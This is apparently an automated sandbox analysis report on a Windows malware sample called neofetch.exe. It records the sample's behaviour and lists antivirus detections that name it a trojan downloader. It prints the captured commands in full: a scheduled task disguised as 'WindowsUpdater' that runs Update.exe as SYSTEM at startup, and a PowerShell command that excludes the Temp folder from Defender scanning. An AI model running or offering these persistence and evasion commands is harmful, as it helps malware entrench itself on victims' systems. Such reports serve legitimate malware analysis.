cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	C:\Windows\system32\cmd.exe /c schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
cmdline	schtasks /QUERY /TN "WindowsUpdater"
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 15, 2024, 2:16 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (9 events)

cmdline	schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"
cmdline	C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	C:\Windows\system32\cmd.exe /c schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
cmdline	schtasks /QUERY /TN "WindowsUpdater"
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL

Communicates with host for which no DNS query was performed (1 event)

host

130.61.181.50

Installs itself for autorun at Windows startup (3 events)

cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL

Creates a suspicious Powershell process (3 events)

option	-noninteractive	value	Prevents creating an interactive prompt for the user
option	-noninteractive	value	Prevents creating an interactive prompt for the user
option	-noninteractive	value	Prevents creating an interactive prompt for the user

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Uses Sysinternals tools in order to add additional command line functionality (3 events)

cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL

File has been identified by 53 AntiVirus engines on VirusTotal as malicious (50 out of 53 events)

Bkav	W64.AIDetectMalware
Lionic	Trojan.Win32.Agent.Y!c
Cynet	Malicious (score: 99)
Skyhigh	Artemis!Trojan
ALYac	Trojan.GenericKD.74217703
Cylance	Unsafe
VIPRE	Trojan.GenericKD.74217703
Sangfor	Downloader.Win32.Agent.Vxws
CrowdStrike	win/malicious_confidence_70% (D)
BitDefender	Trojan.GenericKD.74217703
K7GW	Riskware ( 00584baa1 )
K7AntiVirus	Riskware ( 00584baa1 )
Arcabit	Trojan.Generic.D46C78E7
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Generik.KRBHCYM
APEX	Malicious
Avast	Win64:DropperX-gen [Drp]
Kaspersky	Trojan-Downloader.Win32.Agent.xycxfp
MicroWorld-eScan	Trojan.GenericKD.74217703
Rising	Downloader.Agent!8.B23 (CLOUD)
Emsisoft	Trojan.GenericKD.74217703 (B)
F-Secure	Trojan.TR/AD.Nekark.znxkz
DrWeb	Trojan.MulDrop28.30145
Zillya	Downloader.Agent.Win32.577252
McAfeeD	ti!D0786C4C6C96
CTX	exe.trojan.generic
Sophos	Mal/Generic-S
FireEye	Trojan.GenericKD.74217703
Webroot	W32.Trojan.Gen
Google	Detected
Avira	TR/AD.Nekark.znxkz
Antiy-AVL	Trojan/Win64.Agent
Kingsoft	Win32.Troj.Unknown.a
Microsoft	TrojanDownloader:Win32/Multiverze
ViRobot	Trojan.Win.Z.Agent.2709608
ZoneAlarm	Trojan-Downloader.Win32.Agent.xycxfp
GData	Trojan.GenericKD.74217703
AhnLab-V3	Dropper/Win.DropperX-gen.C5677122
McAfee	Artemis!D6B10FE0F03D
DeepInstinct	MALICIOUS
VBA32	TrojanDownloader.Agent
Malwarebytes	Malware.AI.2110284229
Ikarus	Trojan-Downloader.Win64.Agent
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R002H09J324
Tencent	Malware.Win32.Gencirc.141bfc63
Yandex	Trojan.DL.Agent!Dc3d6E3kNTY
MaxSecure	Trojan.Malware.282485356.susgen
Fortinet	PossibleThreat.PALLAS.H

neofetch.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All